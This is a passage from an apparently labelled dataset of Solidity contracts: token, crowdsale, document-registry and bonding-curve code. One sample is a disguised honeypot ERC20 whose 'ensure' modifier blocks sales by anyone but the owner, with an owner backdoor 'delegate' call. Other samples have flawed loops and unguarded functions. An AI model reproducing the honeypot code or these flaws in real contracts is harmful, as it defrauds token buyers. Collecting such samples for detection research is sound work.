event StillToGo(uint numLeft);
uint256 public partPos;
uint256 public partFees;
uint256 partL;
Allocation[] public partAllocations;
function partAllocationLength() view public returns (uint) {
return partAllocations.length;
}
function addAllocationPartOne(uint newAllocation,uint numSteps)
public
onlyMinter
{
require(partPos == 0);
uint256 thisAllocation = newAllocation;
require(totAllocation < maxAllocation);
if (currentAllocations.length > partAllocations.length) {
partAllocations = currentAllocations;
}
if (totAllocation + thisAllocation > maxAllocation) {
thisAllocation = maxAllocation.sub(totAllocation);
log0("max alloc reached");
}
totAllocation = totAllocation.add(thisAllocation);
GoldAllocation(thisAllocation,now);
Allocation memory newDiv;
newDiv.amount = thisAllocation;
newDiv.date = now;
allocationsOverTime.push(newDiv);
partL = partAllocations.push(newDiv);
if (partAllocations.length < 2) {
PartComplete();
currentAllocations = partAllocations;
FeeOnAllocation(0,now);
return;
}
for (partPos = partAllocations.length - 2; partPos >= 0; partPos-- ) {
(partAllocations[partPos].amount,partFees) = calcFees(partAllocations[partPos].date,now,partAllocations[partPos].amount);
partAllocations[partPos].amount = partAllocations[partPos].amount.add(partAllocations[partL - 1].amount);
partAllocations[partPos].date = now;
if ((partPos == 0) || (partPos == partAllocations.length-numSteps)) {
break;
}
}
if (partPos != 0) {
StillToGo(partPos);
return;
}
PartComplete();
FeeOnAllocation(partFees,now);
currentAllocations = partAllocations;
}
function addAllocationPartTwo(uint numSteps)
public
onlyMinter
{
require(numSteps > 0);
require(partPos > 0);
for (uint i = 0; i < numSteps; i++ ) {
partPos--;
(partAllocations[partPos].amount,partFees) = calcFees(partAllocations[partPos].date,now,partAllocations[partPos].amount);
partAllocations[partPos].amount = partAllocations[partPos].amount.add(partAllocations[partL - 1].amount);
partAllocations[partPos].date = now;
if (partPos == 0) {
break;
}
}
if (partPos != 0) {
StillToGo(partPos);
return;
}
PartComplete();
FeeOnAllocation(partFees,now);
currentAllocations = partAllocations;
}
function setHGT(address _hgt) public onlyOwner {
HGT = _hgt;
}
function parentFees(address where) public whenNotPaused {
require(msg.sender == HGT);
update(where);
}
function parentChange(address where, uint newValue) public whenNotPaused {
require(msg.sender == HGT);
balances[where].allocationShare = newValue;
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool ok) {
require(_to != address(0));
update(msg.sender);
update(_to);
balances[msg.sender].amount = balances[msg.sender].amount.sub(_value);
balances[_to].amount = balances[_to].amount.add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool success) {
require(_to != address(0));
var _allowance = allowance[_from][msg.sender];
update(_from);
update(_to);
balances[_to].amount = balances[_to].amount.add(_value);
balances[_from].amount = balances[_from].amount.sub(_value);
allowance[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public whenNotPaused returns (bool success) {
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowance[msg.sender][_spender] = allowance[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowance[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowance[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowance[msg.sender][_spender] = 0;
} else {
allowance[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowance[msg.sender][_spender]);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowance[_owner][_spender];
}
address public authorisedMinter;
function setMinter(address minter) public onlyOwner {
authorisedMinter = minter;
}
modifier onlyMinter() {
require(msg.sender == authorisedMinter);
_;
}
Allocation public mintedGBT;
Allocation public unmintedGBT;
function mintTokens(address destination, uint256 amount)
onlyMinter
public
{
require(msg.sender == authorisedMinter);
update(destination);
balances[destination].amount = balances[destination].amount.add(amount);
TokenMinted(destination,amount);
Transfer(0x0,destination,amount);
uint256 fees;
(mintedGBT.amount,fees) = calcFees(mintedGBT.date,now,mintedGBT.amount);
mintedGBT.amount = mintedGBT.amount.add(amount);
mintedGBT.date = now;
}
function burnTokens(address source, uint256 amount)
onlyMinter
public
{
update(source);
balances[source].amount = balances[source].amount.sub(amount);
TokenBurned(source,amount);
Transfer(source,0x0,amount);
uint256 fees;
(unmintedGBT.amount,fees) = calcFees(unmintedGBT.date,now,unmintedGBT.amount);
unmintedGBT.date = now;
unmintedGBT.amount = unmintedGBT.amount.add(amount);
}
} | 1 | 3,376 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount);
event Refund(address investor, uint weiAmount);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function invest(address receiver) inState(State.Funding) stopInEmergency payable public {
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedTokenCappedCrowdsale is Crowdsale {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
maximumSellableTokens = _maximumSellableTokens;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
}
contract RelaunchedCrowdsale is MintedTokenCappedCrowdsale {
event RestoredInvestment(address addr, uint originalTxHash);
mapping(uint => bool) public reissuedTransactions;
function RelaunchedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) MintedTokenCappedCrowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _maximumSellableTokens) {
}
function getRestoredTransactionStatus(uint _originalTxHash) public constant returns(bool) {
return reissuedTransactions[_originalTxHash];
}
function setInvestorData(address _addr, uint _weiAmount, uint _tokenAmount, uint _originalTxHash) onlyOwner public {
if(investedAmountOf[_addr] == 0) {
investorCount++;
}
investedAmountOf[_addr] += _weiAmount;
tokenAmountOf[_addr] += _tokenAmount;
weiRaised += _weiAmount;
tokensSold += _tokenAmount;
Invested(_addr, _weiAmount, _tokenAmount);
RestoredInvestment(_addr, _originalTxHash);
}
function setInvestorDataAndIssueNewToken(address _addr, uint _weiAmount, uint _tokenAmount, uint _originalTxHash) onlyOwner public {
if(reissuedTransactions[_originalTxHash]) {
throw;
}
setInvestorData(_addr, _weiAmount, _tokenAmount, _originalTxHash);
if(isBreakingCap(_tokenAmount, _weiAmount, weiRaised, tokensSold)) {
throw;
}
reissuedTransactions[_originalTxHash] = true;
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(_addr, _tokenAmount);
}
} | 0 | 1,256 |
pragma solidity ^0.4.23;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract GlobalStorageMultiId {
uint256 public regPrice;
function registerUser(bytes32 _id) payable returns(bool);
function changeAddress(bytes32 _id , address _newAddress) returns(bool);
function setUint(bytes32 _id , bytes32 _key , uint _data , bool _overwrite) returns(bool);
function getUint(bytes32 _id , bytes32 _key) constant returns(uint);
event Error(string _string);
event RegisteredUser(address _address , bytes32 _id);
event ChangedAdd(bytes32 _id , address _old , address _new);
}
contract UpgDocs {
function confirm(bytes32 _storKey) returns(bool);
event DocsUpgraded(address _oldAddress,address _newAddress);
}
contract RegDocuments {
string public version;
address public admin;
address public owner;
uint public price;
bool registered;
address storageAddress;
bytes32 public storKey;
uint public adminPerc;
GlobalStorageMultiId public Storage;
event RegDocument(address indexed from);
event DocsUpgraded(address _oldAddress,address _newAddress);
event ReceivedPayment(address indexed _address,uint256 _value);
modifier onlyAdmin() {
if ( msg.sender != admin && msg.sender != owner ) revert();
_;
}
modifier onlyOwner() {
if ( msg.sender != owner ) revert();
_;
}
constructor() {
price = 0.01 ether;
admin = msg.sender;
owner = 0xc238ff50c09787e7b920f711850dd945a40d3232;
version = "v0.6";
storageAddress = 0x8f49722c61a9398a1c5f5ce6e5feeef852831a64;
adminPerc = 2;
Storage = GlobalStorageMultiId(storageAddress);
}
function getStoragePrice() onlyAdmin constant returns(uint) {
return Storage.regPrice();
}
function registerDocs(bytes32 _storKey) onlyAdmin payable {
require(!registered);
uint _value = Storage.regPrice();
storKey = _storKey;
Storage.registerUser.value(_value)(_storKey);
registered = true;
}
function upgradeDocs(address _newAddress) onlyAdmin {
UpgDocs newDocs = UpgDocs(_newAddress);
require(newDocs.confirm(storKey));
Storage.changeAddress(storKey,_newAddress);
_newAddress.send(this.balance);
}
function confirm(bytes32 _storKey) returns(bool) {
require(!registered);
storKey = _storKey;
registered = true;
emit DocsUpgraded(msg.sender,this);
return true;
}
function changeOwner(address _newOwnerAddress) onlyOwner returns(bool){
owner = _newOwnerAddress;
return true;
}
function changeAdmin(address _newAdmin) onlyOwner returns(bool) {
admin = _newAdmin;
return true;
}
function sendToken(address _token,address _to , uint _value) onlyOwner returns(bool) {
ERC20Basic Token = ERC20Basic(_token);
require(Token.transfer(_to, _value));
return true;
}
function changePerc(uint _newperc) onlyAdmin public {
adminPerc = _newperc;
}
function changePrice(uint _newPrice) onlyAdmin public {
price = _newPrice;
}
function() payable public {
uint a = getUint(msg.sender);
setUint(msg.sender, a + msg.value);
admin.send(msg.value * adminPerc / 100);
owner.send(this.balance);
emit ReceivedPayment(msg.sender, msg.value);
}
function sendCredits(address[] _addresses, uint _amountEach) onlyAdmin public returns (bool success) {
for (uint8 i=0; i<_addresses.length; i++){
uint a = getUint(_addresses[i]);
setUint(_addresses[i], a + _amountEach);
emit ReceivedPayment(_addresses[i],_amountEach);
}
}
function getBalance(address _address) constant returns(uint) {
return getUint(_address);
}
function regDoc(address _address, string _hash) onlyAdmin returns (bool success) {
uint a = getUint(_address);
require(a >= price);
setUint(_address, a - price);
emit RegDocument(_address);
return true;
}
function getPrice() constant returns(uint) {
return price;
}
function setUint(address _address, uint _value) internal {
Storage.setUint(storKey, bytes32(_address), _value, true);
}
function getUint(address _address) internal constant returns(uint) {
return Storage.getUint(storKey, bytes32(_address));
}
} | 1 | 2,094 |
pragma solidity ^0.5.14;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,473 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);
constructor() public { owner = msg.sender; }
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract FactoryTokenInterface is Ownable {
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function mint(address _to, uint256 _amount) public returns (bool);
function burnFrom(address _from, uint256 _value) public;
}
contract TokenFactoryInterface {
function create(string _name, string _symbol) public returns (FactoryTokenInterface);
}
contract ZapCoordinatorInterface is Ownable {
function addImmutableContract(string contractName, address newAddress) external;
function updateContract(string contractName, address newAddress) external;
function getContractName(uint index) public view returns (string);
function getContract(string contractName) public view returns (address);
function updateAllDependencies() external;
}
contract BondageInterface {
function bond(address, bytes32, uint256) external returns(uint256);
function unbond(address, bytes32, uint256) external returns (uint256);
function delegateBond(address, address, bytes32, uint256) external returns(uint256);
function escrowDots(address, address, bytes32, uint256) external returns (bool);
function releaseDots(address, address, bytes32, uint256) external returns (bool);
function returnDots(address, address, bytes32, uint256) external returns (bool success);
function calcZapForDots(address, bytes32, uint256) external view returns (uint256);
function currentCostOfDot(address, bytes32, uint256) public view returns (uint256);
function getDotsIssued(address, bytes32) public view returns (uint256);
function getBoundDots(address, address, bytes32) public view returns (uint256);
function getZapBound(address, bytes32) public view returns (uint256);
function dotLimit( address, bytes32) public view returns (uint256);
}
contract CurrentCostInterface {
function _currentCostOfDot(address, bytes32, uint256) public view returns (uint256);
function _dotLimit(address, bytes32) public view returns (uint256);
function _costOfNDots(address, bytes32, uint256, uint256) public view returns (uint256);
}
contract RegistryInterface {
function initiateProvider(uint256, bytes32) public returns (bool);
function initiateProviderCurve(bytes32, int256[], address) public returns (bool);
function setEndpointParams(bytes32, bytes32[]) public;
function getEndpointParams(address, bytes32) public view returns (bytes32[]);
function getProviderPublicKey(address) public view returns (uint256);
function getProviderTitle(address) public view returns (bytes32);
function setProviderParameter(bytes32, bytes) public;
function setProviderTitle(bytes32) public;
function clearEndpoint(bytes32) public;
function getProviderParameter(address, bytes32) public view returns (bytes);
function getAllProviderParams(address) public view returns (bytes32[]);
function getProviderCurveLength(address, bytes32) public view returns (uint256);
function getProviderCurve(address, bytes32) public view returns (int[]);
function isProviderInitiated(address) public view returns (bool);
function getAllOracles() external view returns (address[]);
function getProviderEndpoints(address) public view returns (bytes32[]);
function getEndpointBroker(address, bytes32) public view returns (address);
}
contract TokenDotFactory is Ownable {
CurrentCostInterface currentCost;
FactoryTokenInterface public reserveToken;
ZapCoordinatorInterface public coord;
TokenFactoryInterface public tokenFactory;
BondageInterface bondage;
mapping(bytes32 => address) public curves;
event DotTokenCreated(address tokenAddress);
constructor(
address coordinator,
address factory,
uint256 providerPubKey,
bytes32 providerTitle
){
coord = ZapCoordinatorInterface(coordinator);
reserveToken = FactoryTokenInterface(coord.getContract("ZAP_TOKEN"));
reserveToken.approve(coord.getContract("BONDAGE"), ~uint256(0));
tokenFactory = TokenFactoryInterface(factory);
RegistryInterface registry = RegistryInterface(coord.getContract("REGISTRY"));
registry.initiateProvider(providerPubKey, providerTitle);
}
function initializeCurve(
bytes32 specifier,
bytes32 symbol,
int256[] curve
) public returns(address) {
require(curves[specifier] == 0, "Curve specifier already exists");
RegistryInterface registry = RegistryInterface(coord.getContract("REGISTRY"));
require(registry.isProviderInitiated(address(this)), "Provider not intiialized");
registry.initiateProviderCurve(specifier, curve, address(this));
curves[specifier] = newToken(bytes32ToString(specifier), bytes32ToString(symbol));
registry.setProviderParameter(specifier, toBytes(curves[specifier]));
DotTokenCreated(curves[specifier]);
return curves[specifier];
}
event Bonded(bytes32 indexed specifier, uint256 indexed numDots, address indexed sender);
function bond(bytes32 specifier, uint numDots) public {
bondage = BondageInterface(coord.getContract("BONDAGE"));
uint256 issued = bondage.getDotsIssued(address(this), specifier);
CurrentCostInterface cost = CurrentCostInterface(coord.getContract("CURRENT_COST"));
uint256 numReserve = cost._costOfNDots(address(this), specifier, issued + 1, numDots - 1);
require(
reserveToken.transferFrom(msg.sender, address(this), numReserve),
"insufficient accepted token numDots approved for transfer"
);
reserveToken.approve(address(bondage), numReserve);
bondage.bond(address(this), specifier, numDots);
FactoryTokenInterface(curves[specifier]).mint(msg.sender, numDots);
Bonded(specifier, numDots, msg.sender);
}
